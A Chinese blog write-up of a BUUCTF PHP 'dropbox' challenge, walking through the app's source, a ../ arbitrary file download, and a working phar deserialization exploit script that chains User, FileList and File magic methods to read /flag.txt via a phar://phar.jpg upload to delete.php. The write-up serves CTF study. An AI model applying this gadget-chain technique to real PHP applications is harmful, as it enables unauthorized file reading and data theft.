前言

怎么说呢…这题做了真的很久,一方面是最近作业太多了…课程赶不上去,断断续续地再看这个,另一方面嘛…真的是因为我太菜了,想了很久,看了挺久的WP,不得不说,有挺多WP对菜鸟不太友好,哭了(或许当我变强了,我博客也会写的不详细了)

知识点

  • phar实现反序列化 (以前学过…但是没实践过)

  • php反序列化之魔术方法

  • foreach遍历 (这个应该不算吧?不过我当时不太了解)

  • open_basedir

    在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录。它是可以访问设置目录下的所有下级目录。
    若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例:
    ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。
  • chdir() mkdir()

    chdir() 函数改变当前的目录。
    <?php
    echo getcwd() . "<br>";   # /home/php
    // 改变目录
    chdir("images");           
    // 获得当前目录
    echo getcwd();            # /home/php/images
    
    mkdir() 函数创建目录

分析

这里存在下载任意文件漏洞

img

为什么这里是../../index.php呢?

多试试嘛,但是我们可以看一看源码,源码有个chdir($_SESSION['sandbox']);,这里会转换位置,跑到沙箱里,我们需要多次返回才能出来

那既然可以下载任意文件,为什么不直接下载flag呢?

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

就是这个代码,我们之前的知识点已经说了,它的作用就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。是无法访问到flag的,我们接下来利用delete.php来弄phar反序列化也是这个原因,如果是在download.php反序列化不能读到flag

根据我们访问时出现的url可知道存在一些php文件,获得源码:

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>
    ...
<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {   
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

代码审计

题目提示:PHAR(BUUCTF给的,嘿嘿)

我们查看class.php,可以发现:

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }

unlinkfile_get_contents都可以使phar文件反序列化,file_get_contents还可以读取文件内容,考虑这里是可以利用的.

然后发现index.phpNew一个File对象,filename可控,是不是特别激动?以为flag呼之欲出?但是仔细一看…不会回显读取到的信息啊…

害…还是别人的WP香啊,这里可以用new一个User并使$db为对象FileList里面的close(),但是因为FileList没有close(),会调用魔术方法__call,把数据存到results中,在销毁对象时,调用__destruct()魔术方法,打印出读取到的信息.

说这么多是不是有点懵?别急,照着exp我给你一步步分析

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();

# To create a phar.
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

// $o = new User();
// $o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成phar文件,修改后缀为.jpg上传后删除,抓包修改filename=phar://phar.jpg触发$file->detele();,使其执行

img

    public function detele() {
        unlink($this->filename);
    }

使phar反序列化(可见前面的知识点),成功创建一个对象$a,此时

$a            是对象 User
$a.db         是对象 FileList
$a.db.files   是对象 File转为数组

$a.db.files.filename = "/flag.txt"

当这个对象被销毁时,调用__destruct()魔术方法

    public function __destruct() {
        $this->db->close();
    }

试图调用$a.dbclose(),但是$a.db属于FileList,没有close(),所以就会调用魔术方法__call

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

遍历$a.db.files的元素,把他塞进$a.db.results中(二维数组),也就是说会把File中的全部函数都遍历一遍. 当遍历到 $a.db.files.close()时,会读取$this->filename并返回,这里的filename为/flag.txt,即会读取根目录下的flag.txt,并把它存到results中.

$a.db(FileList)被销毁时,会调用FileList的__destruct()

public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }

把results中的内容以表格的形式打印出来

img

参考博客

https://www.cnblogs.com/Chr1sto/p/12257528.html

https://blog.csdn.net/weixin_44077544/article/details/102844554

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...